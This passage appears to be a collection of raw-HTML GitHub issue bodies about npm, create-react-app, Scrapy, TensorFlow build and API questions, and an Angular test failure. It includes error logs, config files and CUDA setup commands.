class="pl-c"><span class="pl-c">;</span> cwd = /Users/redacted/dev/npm-overrides-issue</span> <span class="pl-c"><span class="pl-c">;</span> HOME = /Users/redacted</span> <span class="pl-c"><span class="pl-c">;</span> Run `npm config ls -l` to show all defaults.</span></pre></div> <ul dir="auto"> <li>package.json</li> </ul> <div class="highlight highlight-source-json notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content="{ &quot;name&quot;: &quot;npm-overrides-issue&quot;, &quot;version&quot;: &quot;1.0.0&quot;, &quot;description&quot;: &quot;&quot;, &quot;main&quot;: &quot;index.js&quot;, &quot;scripts&quot;: { &quot;test&quot;: &quot;echo \&quot;Error: no test specified\&quot; &amp;&amp; exit 1&quot; }, &quot;author&quot;: &quot;&quot;, &quot;license&quot;: &quot;ISC&quot;, &quot;dependencies&quot;: { &quot;svg2sprite-cli&quot;: &quot;^2.0.1&quot; }, &quot;overrides&quot;: { &quot;trim-newlines&quot;: &quot;^3.0.1&quot; } }"><pre class="notranslate">{ <span class="pl-ent">"name"</span>: <span class="pl-s"><span class="pl-pds">"</span>npm-overrides-issue<span class="pl-pds">"</span></span>, <span class="pl-ent">"version"</span>: <span class="pl-s"><span class="pl-pds">"</span>1.0.0<span class="pl-pds">"</span></span>, <span class="pl-ent">"description"</span>: <span class="pl-s"><span class="pl-pds">"</span><span class="pl-pds">"</span></span>, <span class="pl-ent">"main"</span>: <span class="pl-s"><span class="pl-pds">"</span>index.js<span class="pl-pds">"</span></span>, <span class="pl-ent">"scripts"</span>: { <span class="pl-ent">"test"</span>: <span class="pl-s"><span class="pl-pds">"</span>echo <span class="pl-cce">\"</span>Error: no test specified<span class="pl-cce">\"</span> &amp;&amp; exit 1<span class="pl-pds">"</span></span> }, <span class="pl-ent">"author"</span>: <span class="pl-s"><span class="pl-pds">"</span><span class="pl-pds">"</span></span>, <span class="pl-ent">"license"</span>: <span class="pl-s"><span class="pl-pds">"</span>ISC<span class="pl-pds">"</span></span>, <span class="pl-ent">"dependencies"</span>: { <span class="pl-ent">"svg2sprite-cli"</span>: <span class="pl-s"><span class="pl-pds">"</span>^2.0.1<span class="pl-pds">"</span></span> }, <span class="pl-ent">"overrides"</span>: { <span class="pl-ent">"trim-newlines"</span>: <span class="pl-s"><span class="pl-pds">"</span>^3.0.1<span class="pl-pds">"</span></span> } }</pre></div>
<p dir="auto">Creating a new React app in E:\myapp.</p> <p dir="auto">Installing packages. This might take a couple of minutes.<br> Installing react, react-dom, and react-scripts with cra-template...</p> <p dir="auto">npm ERR! cb() never called!</p> <p dir="auto">npm ERR! This is an error with npm itself. Please report this error at:<br> npm ERR! <a href="https://npm.community" rel="nofollow">https://npm.community</a></p> <p dir="auto">npm ERR! A complete log of this run can be found in:<br> npm ERR! C:\Users\HP\AppData\Roaming\npm-cache_logs\2020-05-10T11_24_52_824Z-debug.log</p> <p dir="auto">Aborting installation.<br> npm install --save --save-exact --loglevel error react react-dom react-scripts cra-template has failed.</p> <p dir="auto">Deleting generated file... package.json<br> Deleting myapp/ from E:<br> Done.</p>
0
<p dir="auto">I'd love to be able to use scrapy's <code class="notranslate">Selector</code> outside of scrapy, as an xpath (and css?) selector library for xml, html, sgml documents.<br> I suppose I should go looking at BeautifulSoup for that, but I'm familiar with <code class="notranslate">Selector</code> and like the way it works. I don't like plain lxml's way of doing things and usually don't need any write-abilities on the tree anyway.</p> <p dir="auto">Would it be feasible and sensible to make the selector parts of scrapy not depend on <code class="notranslate">SomeResponse</code> and expect response.url objects (but <code class="notranslate">SomeDocument</code> instead) and put it together with things such as <code class="notranslate">LxmlDocument</code>, then have some glue-code to bind it to object_ref and response objects and such in scrapy?</p> <p dir="auto">At least in my mind this makes sense with the "librarization" goal of scrapy in mind, but maybe I'm wrong or that'd be too much of a design change when there is BeautifulSoup.</p> <p dir="auto">p.s. before anyone comments that it is possible: I know I <em>can</em> use it outside scrapy, with something like this (but thats still having all of scrapy inside another project or rewriting a lot to factor out the selector stuff):</p> <div class="highlight highlight-source-python notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content="namespaces = [ ('x', 'http://www.w3.org/1999/xhtml'), ] with open('file') as f: data = f.read() xs = Selector(text=data, type='xml') for namespace, scheme in namespaces: xs.register_namespace(namespace, scheme) print(xs.xpath('/x:html').extract())"><pre class="notranslate"><span class="pl-s1">namespaces</span> <span class="pl-c1">=</span> [ (<span class="pl-s">'x'</span>, <span class="pl-s">'http://www.w3.org/1999/xhtml'</span>), ] <span class="pl-k">with</span> <span class="pl-en">open</span>(<span class="pl-s">'file'</span>) <span class="pl-k">as</span> <span class="pl-s1">f</span>: <span class="pl-s1">data</span> <span class="pl-c1">=</span> <span class="pl-s1">f</span>.<span class="pl-en">read</span>() <span class="pl-s1">xs</span> <span class="pl-c1">=</span> <span class="pl-v">Selector</span>(<span class="pl-s1">text</span><span class="pl-c1">=</span><span class="pl-s1">data</span>, <span class="pl-s1">type</span><span class="pl-c1">=</span><span class="pl-s">'xml'</span>) <span class="pl-k">for</span> <span class="pl-s1">namespace</span>, <span class="pl-s1">scheme</span> <span class="pl-c1">in</span> <span class="pl-s1">namespaces</span>: <span class="pl-s1">xs</span>.<span class="pl-en">register_namespace</span>(<span class="pl-s1">namespace</span>, <span class="pl-s1">scheme</span>) <span class="pl-en">print</span>(<span class="pl-s1">xs</span>.<span class="pl-en">xpath</span>(<span class="pl-s">'/x:html'</span>).<span class="pl-en">extract</span>())</pre></div>
<p dir="auto">I'm working on a scrapy project where a "rabbit client" and "crawl worker" work together to consume scrape requests from a queue. These requests have more configuration than a start_url - it could be something like url and a set of xpaths, or a domain-specific configuration, like site-specific product ID (from which we programmatically build the url) and optional identifiers like color, style, and size to further specify the item one wants to scrape.</p> <p dir="auto">I ended up rolling my own generic abstract base classes to support this. These classes expose an interface that provide for crawl configuration validation and deserialization.</p> <p dir="auto">I'm wondering if it would be desirable to have built-in support for more specific "crawl configurations" like this within the framework? If that's the case, I'd be more than happy to have a design discussion and hash out the details.</p> <p dir="auto">I'm looking for specifically for replies from project maintainers/contributors to see whether or not this is feasible - I don't want to waste anyone's time, including mine. If it is, I'd love to tackle it myself with some design guidance, to make sure I'm working with the framework instead of against it.</p>
0
<p dir="auto">Hello,</p> <p dir="auto">I get the following errors when compiling:</p> <p dir="auto">____[110 / 2,641] Compiling external/png_archive/libpng-1.2.53/pngerror.c<br> external/protobuf/src/google/protobuf/util/internal/field_mask_utility.cc:47:14: warning: 'google::protobuf::util::Status google::protobuf::util::converter::{anonymous}::CreatePublicError(google::protobuf::util::error::Code, const string&amp;)' defined but not used [-Wunused-function]<br> util::Status CreatePublicError(util::error::Code code,<br> external/protobuf/src/google/protobuf/util/internal/field_mask_utility.cc:47:14: warning: 'google::protobuf::util::Status google::protobuf::util::converter::{anonymous}::CreatePublicError(google::protobuf::util::error::Code, const string&amp;)' defined but not used [-Wunused-function]<br> util::Status CreatePublicError(util::error::Code code,<br> external/protobuf/src/google/protobuf/util/internal/field_mask_utility.cc:47:14: warning: 'google::protobuf::util::Status google::protobuf::util::converter::{anonymous}::CreatePublicError(google::protobuf::util::error::Code, const string&amp;)' defined but not used [-Wunused-function]<br> util::Status CreatePublicError(util::error::Code code,<br> == ) // Compilation error with CHECK_EQ(NULL, x)?<br> == ) // Compilation error with CHECK_EQ(NULL, x)?<br> ERROR: /home/user/Downloads/tensorflow/tensorflow/stream_executor/BUILD:5:1: C++ compilation of rule '//tensorflow/stream_executor:stream_executor' failed: crosstool_wrapper_driver_is_not_gcc failed: error executing command<br> tensorflow/stream_executor/cuda/cuda_dnn.cc:266:10: error: 'CUDNN_CONVOLUTION_FWD_ALGO_FFT_TILING' was not declared in this scope<br> tensorflow/stream_executor/cuda/cuda_dnn.cc:284:10: error: 'CUDNN_CONVOLUTION_BWD_DATA_ALGO_FFT_TILING' was not declared in this scope<br> tensorflow/stream_executor/cuda/cuda_dnn.cc:942:7: error: 'CUDNN_CONVOLUTION_FWD_ALGO_FFT_TILING' was not declared in this scope<br> tensorflow/stream_executor/cuda/cuda_dnn.cc:947:4: error: no matching function for call to 'std::vector::assign()'<br> tensorflow/stream_executor/cuda/cuda_dnn.cc:958:7: error: 'CUDNN_CONVOLUTION_BWD_DATA_ALGO_FFT_TILING' was not declared in this scope<br> tensorflow/stream_executor/cuda/cuda_dnn.cc:963:4: error: no matching function for call to 'std::vector::assign()'<br> tensorflow/stream_executor/cuda/cuda_dnn.cc:166:39: error: too many arguments to function</p> <p dir="auto">Complete log of build: <a href="http://pastebin.com/NzpiwmGm" rel="nofollow">http://pastebin.com/NzpiwmGm</a></p> <p dir="auto">The compilation command that I am using is:<br> bazel build --verbose_failures --genrule_strategy=standalone --spawn_strategy=standalone -c opt --config=cuda //tensorflow/cc:tutorials_example_trainer &gt;&amp; build.log &amp;</p> <p dir="auto">My systems information is as follows</p> <h3 dir="auto">Environment info</h3> <p dir="auto">Operating System:<br> Distributor ID: Ubuntu<br> Description: Ubuntu 16.04.1 LTS<br> Release: 16.04<br> Codename: xenial</p> <p dir="auto">Installed version of CUDA and cuDNN:<br> /usr/lib/x86_64-linux-gnu/libcudart.so.7.5.18<br> /usr/lib/x86_64-linux-gnu/libcudnn.so.7.0</p> <p dir="auto">If installed from source, provide</p> <ol dir="auto"> <li>The commit hash: <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/tensorflow/tensorflow/commit/bf31051225ce53c1c88fd45ee117a49645153770/hovercard" href="https://github.com/tensorflow/tensorflow/commit/bf31051225ce53c1c88fd45ee117a49645153770"><tt>bf31051</tt></a></li> <li>The output of <code class="notranslate">bazel version</code><br> Build time: Thu Jan 01 00:00:00 1970 (0)<br> Build timestamp: Thu Jan 01 00:00:00 1970 (0)<br> Build timestamp as int: 0</li> </ol> <p dir="auto">I installed cudatoolkit, and cudann following this instructions:</p> <blockquote> <p dir="auto">sudoapt-get install nvidia-cuda-toolkit<br> sudo apt-get install nvidia-cuda-361-updates<br> sudo apt-get install nvidia-nsight<br> sudo apt-get install nvidia-profiler<br> sudo apt-get install libcupti-dev zlib1g-dev</p> <h1 dir="auto">Put symlinks in /usr/local/cuda</h1> <p dir="auto">sudo mkdir /usr/local/cuda<br> cd /usr/local/cuda<br> sudo ln -s /usr/lib/x86_64-linux-gnu/ lib64<br> sudo ln -s /usr/include/ include<br> sudo ln -s /usr/bin/ bin<br> sudo ln -s /usr/lib/x86_64-linux-gnu/ nvvm<br> sudo mkdir -p extras/CUPTI<br> cd extras/CUPTI<br> sudo ln -s /usr/lib/x86_64-linux-gnu/ lib64<br> sudo ln -s /usr/include/ include</p> <h1 dir="auto">Install cudann</h1> <h1 dir="auto"><a href="http://askubuntu.com/questions/767269/how-can-i-install-cudnn-on-ubuntu-16-04" rel="nofollow">http://askubuntu.com/questions/767269/how-can-i-install-cudnn-on-ubuntu-16-04</a></h1> <h1 dir="auto">Download cudann as detailed above and extract</h1> <p dir="auto">cd ~/Downloads/cuda<br> sudo cp include/cudnn.h /usr/include<br> sudo cp lib64/libcudnn* /usr/lib/x86_64-linux-gnu/<br> sudo chmod a+r /usr/lib/x86_64-linux-gnu/libcudnn*</p> <h1 dir="auto">... Install TensorFlow from source ...</h1> </blockquote> <p dir="auto">instruction found at <a href="https://devtalk.nvidia.com/default/topic/936212/cuda-setup-and-installation/tensorflow-cannot-find-cudnn-ubuntu-16-04-cuda7-5-/post/4880549/#4880549" rel="nofollow">https://devtalk.nvidia.com/default/topic/936212/cuda-setup-and-installation/tensorflow-cannot-find-cudnn-ubuntu-16-04-cuda7-5-/post/4880549/#4880549</a></p> <p dir="auto">I ecounter the problems described in issue <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="133111577" data-permission-text="Title is private" data-url="https://github.com/tensorflow/tensorflow/issues/1066" data-hovercard-type="issue" data-hovercard-url="/tensorflow/tensorflow/issues/1066/hovercard" href="https://github.com/tensorflow/tensorflow/issues/1066">#1066</a>. I solved it using the solution described by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chrisburr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chrisburr">@chrisburr</a>: <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/drufat/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/drufat">@drufat</a> I ran into a similar issue when compiling on Arch and found the solution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="137662453" data-permission-text="Title is private" data-url="https://github.com/tensorflow/tensorflow/issues/1346" data-hovercard-type="issue" data-hovercard-url="/tensorflow/tensorflow/issues/1346/hovercard" href="https://github.com/tensorflow/tensorflow/issues/1346">#1346</a>. I'm unsure if -D__STRICT_ANSI__ is actually required but the following patch worked for me:</p> <p dir="auto">diff --git a/third_party/gpus/crosstool/CROSSTOOL b/third_party/gpus/crosstool/CROSSTOOL<br> index dfde7cd..15fa9fd 100644<br> --- a/third_party/gpus/crosstool/CROSSTOOL<br> +++ b/third_party/gpus/crosstool/CROSSTOOL<br> @@ -46,6 +46,9 @@ toolchain {</p> <h1 dir="auto">Use "-std=c++11" for nvcc. For consistency, force both the host compiler</h1> <h1 dir="auto">and the device compiler to use "-std=c++11".</h1> <p dir="auto">cxx_flag: "-std=c++11"</p> <ul dir="auto"> <li>cxx_flag: "-D_MWAITXINTRIN_H_INCLUDED"</li> <li>cxx_flag: "-D_FORCE_INLINES"</li> <li>cxx_flag: "-D__STRICT_ANSI__"<br> linker_flag: "-lstdc++"<br> linker_flag: "-B/usr/bin/"</li> </ul> <p dir="auto">Next, I got the issue <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="125048279" data-permission-text="Title is private" data-url="https://github.com/tensorflow/tensorflow/issues/698" data-hovercard-type="pull_request" data-hovercard-url="/tensorflow/tensorflow/pull/698/hovercard" href="https://github.com/tensorflow/tensorflow/pull/698">#698</a>.</p> <p dir="auto">Solved it by compiling with --genrule_strategy=standalone --spawn_strategy=standalone, as suggested by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/damienmg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/damienmg">@damienmg</a></p>
<p dir="auto"><strong>System information</strong></p> <ul dir="auto"> <li>TensorFlow version (you are using): 1.12</li> <li>Are you willing to contribute it (Yes/No): Yes</li> </ul> <p dir="auto"><strong>Describe the feature and the current behavior/state.</strong><br> <code class="notranslate">AttentionWrapper</code> fuses the <code class="notranslate">cell_output</code> and the <code class="notranslate">context</code> vector using an <code class="notranslate">array_ops.concat</code> operation when specifying an attention layer: <a href="https://github.com/tensorflow/tensorflow/blob/r1.12/tensorflow/contrib/seq2seq/python/ops/attention_wrapper.py#L1067">link</a></p> <p dir="auto">In my case, this behaviour is not flexible enough, I and would like to be able to define my own function to replace the <code class="notranslate">concat</code> operation.</p> <p dir="auto"><strong>Will this change the current api? How?</strong><br> Similarly to <code class="notranslate">cell_input_fn</code>, I would like to have a <code class="notranslate">attention_layer_fn</code> in <code class="notranslate">AttentionWrapper</code>, which by default will perform a <code class="notranslate">concat</code>, preserving the old behaviour. This function would be passed to <code class="notranslate">_compute_attention</code>, which could be modified like this:</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="if attention_layer is not None: attention_layer_input = attention_layer_fn(cell_output, context) attention = attention_layer(attention_layer_input) else: attention = context"><pre class="notranslate"><code class="notranslate">if attention_layer is not None: attention_layer_input = attention_layer_fn(cell_output, context) attention = attention_layer(attention_layer_input) else: attention = context </code></pre></div> <p dir="auto">where</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="if attention_input_fn is None: attention_input_fn = ( lambda cell_output, context: array_ops.concat([cell_output, context], 1))"><pre class="notranslate"><code class="notranslate">if attention_input_fn is None: attention_input_fn = ( lambda cell_output, context: array_ops.concat([cell_output, context], 1)) </code></pre></div> <p dir="auto"><strong>Who will benefit with this feature?</strong><br> TensorFlow users designing new attention architectures may find this feature useful.<br> The users have to implement their own function taking <code class="notranslate">cell_output</code> and <code class="notranslate">context</code> as inputs.</p> <p dir="auto"><strong>Any Other info.</strong><br> I am not a super experienced developer, so I would also like to ask for advice.</p> <p dir="auto">I implemented the feature locally and successfully trained a network, but ran into a new problem.</p> <p dir="auto">The main goal would be to debug/visualise some internal ops defined by the user inside the new function, just like with <code class="notranslate">alignment_history</code>. And here is where things get complicated.</p> <p dir="auto">Since these operations are created inside the <code class="notranslate">while_loop</code> of <code class="notranslate">dynamic_rnn</code>, I'd have to use a <code class="notranslate">TensorArray</code> and write the variables at every step (otherwise it says that the operation has been marked as not fetchable), but this also requires <code class="notranslate">state.time</code> when calling <code class="notranslate">write()</code>. Then the object returned by <code class="notranslate">write()</code> should be added to the <code class="notranslate">AttentionWrapperState</code>, to show up in the final_state when running <code class="notranslate">dynamic_rnn</code>. Is there a simpler way to visualise all the necessary ops inside the envisaged <code class="notranslate">attention_input_fn</code> ?</p>
0
<p dir="auto">Hello,</p> <p dir="auto">I am trying to follow the instructions from <code class="notranslate">DEVELOPER.md</code>.</p> <p dir="auto">Now if I run <code class="notranslate">npm test</code> I get:</p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="/angular/angular (master) $ npm test &gt; [email protected] test /home/ablu/angular/angular &gt; gulp test.all.js &amp;&amp; gulp test.all.dart Dart SDK detected: [14:10:50] Using gulpfile ~/angular/angular/gulpfile.js [14:10:50] Starting 'test.all.js'... ============================================================================= ********* ** ENV ** ********* DART_SDK=/home/ablu/Downloads/dart-sdk/ DART=/home/ablu/Downloads/dart-sdk//bin/dart PUB=/home/ablu/Downloads/dart-sdk//bin/pub DARTANALYZER=/home/ablu/Downloads/dart-sdk//bin/dartanalyzer DARTDOC=/home/ablu/Downloads/dart-sdk//bin/dartdoc DART_DOCGEN=/home/ablu/Downloads/dart-sdk//bin/docgen DARTIUM_BIN=/home/ablu/Downloads/dart-sdk/dartium-lucid64-full-stable-1.11.3.0/chrome CHROME_BIN=google-chrome PATH=/home/ablu/angular/angular/node_modules/.bin:/home/ablu/angular/node-v0.12.7-linux-x64/lib/node_modules/npm/bin/node-gyp-bin:/home/ablu/angular/angular/node_modules/.bin:/home/ablu/angular/node-v0.12.7-linux-x64/bin/:/home/ablu/gopath/bin:/usr/lib64/ccache/:/home/ablu/angular/node-v0.12.7-linux-x64/bin/:/home/ablu/gopath/bin:/usr/lib64/ccache/:/home/ablu/gopath/bin:/usr/lib64/ccache/:/home/ablu/gopath/bin:/usr/lib64/ccache/:/home/ablu/gopath/bin:/usr/lib64/ccache/:/usr/lib64/qt-3.3/bin:/usr/lib64/ccache:/usr/local/bin:/usr/local/sbin:/usr/bin:/usr/sbin:/bin:/sbin:/home/ablu/.local/bin:/home/ablu/bin:/home/ablu/Downloads/dart-sdk//bin:/home/ablu/Downloads/dart-sdk//bin:/home/ablu/Downloads/dart-sdk//bin:/home/ablu/Downloads/dart-sdk//bin NGDART_BASE_DIR=/home/ablu/angular/angular/scripts NGDART_SCRIPT_DIR=/home/ablu/angular/angular/scripts/ci Dart SDK detected: [14:10:53] Using gulpfile ~/angular/angular/gulpfile.js [14:10:53] Starting 'pre-test-checks'... [14:10:53] Starting 'build/checkCircularDependencies'... [14:10:58] Finished 'build/checkCircularDependencies' after 4.86 s [14:10:58] Finished 'pre-test-checks' after 4.87 s Dart SDK detected: [14:11:00] Using gulpfile ~/angular/angular/gulpfile.js [14:11:00] Starting 'test.js'... [14:11:00] Starting 'test.unit.tools/ci'... Started ..................... 21 specs, 0 failures Finished in 0.133 seconds [14:11:01] Finished 'test.unit.tools/ci' after 381 ms [14:11:01] Starting 'test.transpiler.unittest'... Started ........ 8 specs, 0 failures Finished in 0.183 seconds [14:11:01] Finished 'test.transpiler.unittest' after 620 ms [14:11:01] Starting 'docs/test'... Started .................. 18 specs, 0 failures Finished in 4.279 seconds [14:11:06] Finished 'docs/test' after 4.63 s [14:11:06] Starting 'test.unit.js/ci'... [14:11:06] 'test.unit.js/ci' errored after 704 μs [14:11:06] Error: ERROR: unknown browser found in getBrowsersFromCLI() at getBrowsersFromCLI (/home/ablu/angular/angular/gulpfile.js:560:13) at Gulp.&lt;anonymous&gt; (/home/ablu/angular/angular/gulpfile.js:680:21) at module.exports (/home/ablu/angular/angular/node_modules/gulp/node_modules/orchestrator/lib/runTask.js:34:7) at Gulp.Orchestrator._runTask (/home/ablu/angular/angular/node_modules/gulp/node_modules/orchestrator/index.js:273:3) at Gulp.Orchestrator._runStep (/home/ablu/angular/angular/node_modules/gulp/node_modules/orchestrator/index.js:214:10) at Gulp.Orchestrator.start (/home/ablu/angular/angular/node_modules/gulp/node_modules/orchestrator/index.js:134:8) at runNextSet (/home/ablu/angular/angular/node_modules/run-sequence/index.js:79:16) at Gulp.onTaskEnd (/home/ablu/angular/angular/node_modules/run-sequence/index.js:68:5) at Gulp.emit (events.js:129:20) at Gulp.Orchestrator._emitTaskDone (/home/ablu/angular/angular/node_modules/gulp/node_modules/orchestrator/index.js:264:8) [14:11:06] 'test.js' errored after 5.64 s [14:11:06] Error: build sequence failed [14:11:06] 'test.all.js' errored after 16 s [14:11:06] Error in plugin 'gulp-shell' Message: Command failed: /bin/sh -c ./scripts/ci/test_js.sh Details: killed: false code: 1 signal: null cmd: /bin/sh -c ./scripts/ci/test_js.sh stdout: ============================================================================= ********* ** ENV ** ********* DART_SDK=/home/ablu/Downloads/dart-sdk/ DART=/home/ablu/Downloads/dart-sdk//bin/dart PUB=/home/ablu/Downloads/dart-sdk//bin/pub DARTANALYZER=/home/ablu/Downloads/dart-sdk//bin/dartanalyzer DARTDOC=/home/ablu/Downloads/dart-sdk//bin/dartdoc DART_DOCGEN=/home/ablu/Downloads/dart-sdk//bin/docgen DARTIUM_BIN=/home/ablu/Downloads/dart-sdk/dartium-lucid64-full-stable-1.11.3.0/chrome CHROME_BIN=google-chrome PATH=/home/ablu/angular/angular/node_modules/.bin:/home/ablu/angular/node-v0.12.7-linux-x64/lib/node_modules/npm/bin/node-gyp-bin:/home/ablu/angular/angular/node_modules/.bin:/home/ablu/angular/node-v0.12.7-linux-x64/bin/:/home/ablu/gopath/bin:/usr/lib64/ccache/:/home/ablu/angular/node-v0.12.7-linux-x64/bin/:/home/ablu/gopath/bin:/usr/lib64/ccache/:/home/ablu/gopath/bin:/usr/lib64/ccache/:/home/ablu/gopath/bin:/usr/lib64/ccache/:/home/ablu/gopath/bin:/usr/lib64/ccache/:/usr/lib64/qt-3.3/bin:/usr/lib64/ccache:/usr/local/bin:/usr/local/sbin:/usr/bin:/usr/sbin:/bin:/sbin:/home/ablu/.local/bin:/home/ablu/bin:/home/ablu/Downloads/dart-sdk//bin:/home/ablu/Downloads/dart-sdk//bin:/home/ablu/Downloads/dart-sdk//bin:/home/ablu/Downloads/dart-sdk//bin NGDART_BASE_DIR=/home/ablu/angular/angular/scripts NGDART_SCRIPT_DIR=/home/ablu/angular/angular/scripts/ci Dart SDK detected: [14:10:53] Using gulpfile ~/angular/angular/gulpfile.js [14:10:53] Starting 'pre-test-checks'... [14:10:53] Starting 'build/checkCircularDependencies'... [14:10:58] Finished 'build/checkCircularDependencies' after 4.86 s [14:10:58] Finished 'pre-test-checks' after 4.87 s Dart SDK detected: [14:11:00] Using gulpfile ~/angular/angular/gulpfile.js [14:11:00] Starting 'test.js'... [14:11:00] Starting 'test.unit.tools/ci'... Started ..................... 21 specs, 0 failures Finished in 0.133 seconds [14:11:01] Finished 'test.unit.tools/ci' after 381 ms [14:11:01] Starting 'test.transpiler.unittest'... Started ........ 8 specs, 0 failures Finished in 0.183 seconds [14:11:01] Finished 'test.transpiler.unittest' after 620 ms [14:11:01] Starting 'docs/test'... Started .................. 18 specs, 0 failures Finished in 4.279 seconds [14:11:06] Finished 'docs/test' after 4.63 s [14:11:06] Starting 'test.unit.js/ci'... [14:11:06] 'test.unit.js/ci' errored after 704 μs [14:11:06] Error: ERROR: unknown browser found in getBrowsersFromCLI() at getBrowsersFromCLI (/home/ablu/angular/angular/gulpfile.js:560:13) at Gulp.&lt;anonymous&gt; (/home/ablu/angular/angular/gulpfile.js:680:21) at module.exports (/home/ablu/angular/angular/node_modules/gulp/node_modules/orchestrator/lib/runTask.js:34:7) at Gulp.Orchestrator._runTask (/home/ablu/angular/angular/node_modules/gulp/node_modules/orchestrator/index.js:273:3) at Gulp.Orchestrator._runStep (/home/ablu/angular/angular/node_modules/gulp/node_modules/orchestrator/index.js:214:10) at Gulp.Orchestrator.start (/home/ablu/angular/angular/node_modules/gulp/node_modules/orchestrator/index.js:134:8) at runNextSet (/home/ablu/angular/angular/node_modules/run-sequence/index.js:79:16) at Gulp.onTaskEnd (/home/ablu/angular/angular/node_modules/run-sequence/index.js:68:5) at Gulp.emit (events.js:129:20) at Gulp.Orchestrator._emitTaskDone (/home/ablu/angular/angular/node_modules/gulp/node_modules/orchestrator/index.js:264:8) [14:11:06] 'test.js' errored after 5.64 s [14:11:06] Error: build sequence failed stderr: npm ERR! Test failed. See above for more details."><pre class="notranslate"><code class="notranslate">/angular/angular (master) $ npm test &gt; [email protected] test /home/ablu/angular/angular &gt; gulp test.all.js &amp;&amp; gulp test.all.dart Dart SDK detected: [14:10:50] Using gulpfile ~/angular/angular/gulpfile.js [14:10:50] Starting 'test.all.js'... ============================================================================= ********* ** ENV ** ********* DART_SDK=/home/ablu/Downloads/dart-sdk/ DART=/home/ablu/Downloads/dart-sdk//bin/dart PUB=/home/ablu/Downloads/dart-sdk//bin/pub DARTANALYZER=/home/ablu/Downloads/dart-sdk//bin/dartanalyzer DARTDOC=/home/ablu/Downloads/dart-sdk//bin/dartdoc DART_DOCGEN=/home/ablu/Downloads/dart-sdk//bin/docgen DARTIUM_BIN=/home/ablu/Downloads/dart-sdk/dartium-lucid64-full-stable-1.11.3.0/chrome CHROME_BIN=google-chrome PATH=/home/ablu/angular/angular/node_modules/.bin:/home/ablu/angular/node-v0.12.7-linux-x64/lib/node_modules/npm/bin/node-gyp-bin:/home/ablu/angular/angular/node_modules/.bin:/home/ablu/angular/node-v0.12.7-linux-x64/bin/:/home/ablu/gopath/bin:/usr/lib64/ccache/:/home/ablu/angular/node-v0.12.7-linux-x64/bin/:/home/ablu/gopath/bin:/usr/lib64/ccache/:/home/ablu/gopath/bin:/usr/lib64/ccache/:/home/ablu/gopath/bin:/usr/lib64/ccache/:/home/ablu/gopath/bin:/usr/lib64/ccache/:/usr/lib64/qt-3.3/bin:/usr/lib64/ccache:/usr/local/bin:/usr/local/sbin:/usr/bin:/usr/sbin:/bin:/sbin:/home/ablu/.local/bin:/home/ablu/bin:/home/ablu/Downloads/dart-sdk//bin:/home/ablu/Downloads/dart-sdk//bin:/home/ablu/Downloads/dart-sdk//bin:/home/ablu/Downloads/dart-sdk//bin NGDART_BASE_DIR=/home/ablu/angular/angular/scripts NGDART_SCRIPT_DIR=/home/ablu/angular/angular/scripts/ci Dart SDK detected: [14:10:53] Using gulpfile ~/angular/angular/gulpfile.js [14:10:53] Starting 'pre-test-checks'... [14:10:53] Starting 'build/checkCircularDependencies'... [14:10:58] Finished 'build/checkCircularDependencies' after 4.86 s [14:10:58] Finished 'pre-test-checks' after 4.87 s Dart SDK detected: [14:11:00] Using gulpfile ~/angular/angular/gulpfile.js [14:11:00] Starting 'test.js'... [14:11:00] Starting 'test.unit.tools/ci'... Started ..................... 21 specs, 0 failures Finished in 0.133 seconds [14:11:01] Finished 'test.unit.tools/ci' after 381 ms [14:11:01] Starting 'test.transpiler.unittest'... Started ........ 8 specs, 0 failures Finished in 0.183 seconds [14:11:01] Finished 'test.transpiler.unittest' after 620 ms [14:11:01] Starting 'docs/test'... Started .................. 18 specs, 0 failures Finished in 4.279 seconds [14:11:06] Finished 'docs/test' after 4.63 s [14:11:06] Starting 'test.unit.js/ci'... [14:11:06] 'test.unit.js/ci' errored after 704 μs [14:11:06] Error: ERROR: unknown browser found in getBrowsersFromCLI() at getBrowsersFromCLI (/home/ablu/angular/angular/gulpfile.js:560:13) at Gulp.&lt;anonymous&gt; (/home/ablu/angular/angular/gulpfile.js:680:21) at module.exports (/home/ablu/angular/angular/node_modules/gulp/node_modules/orchestrator/lib/runTask.js:34:7) at Gulp.Orchestrator._runTask (/home/ablu/angular/angular/node_modules/gulp/node_modules/orchestrator/index.js:273:3) at Gulp.Orchestrator._runStep (/home/ablu/angular/angular/node_modules/gulp/node_modules/orchestrator/index.js:214:10) at Gulp.Orchestrator.start (/home/ablu/angular/angular/node_modules/gulp/node_modules/orchestrator/index.js:134:8) at runNextSet (/home/ablu/angular/angular/node_modules/run-sequence/index.js:79:16) at Gulp.onTaskEnd (/home/ablu/angular/angular/node_modules/run-sequence/index.js:68:5) at Gulp.emit (events.js:129:20) at Gulp.Orchestrator._emitTaskDone (/home/ablu/angular/angular/node_modules/gulp/node_modules/orchestrator/index.js:264:8) [14:11:06] 'test.js' errored after 5.64 s [14:11:06] Error: build sequence failed [14:11:06] 'test.all.js' errored after 16 s [14:11:06] Error in plugin 'gulp-shell' Message: Command failed: /bin/sh -c ./scripts/ci/test_js.sh Details: killed: false code: 1 signal: null cmd: /bin/sh -c ./scripts/ci/test_js.sh stdout: ============================================================================= ********* ** ENV ** ********* DART_SDK=/home/ablu/Downloads/dart-sdk/ DART=/home/ablu/Downloads/dart-sdk//bin/dart PUB=/home/ablu/Downloads/dart-sdk//bin/pub DARTANALYZER=/home/ablu/Downloads/dart-sdk//bin/dartanalyzer DARTDOC=/home/ablu/Downloads/dart-sdk//bin/dartdoc DART_DOCGEN=/home/ablu/Downloads/dart-sdk//bin/docgen 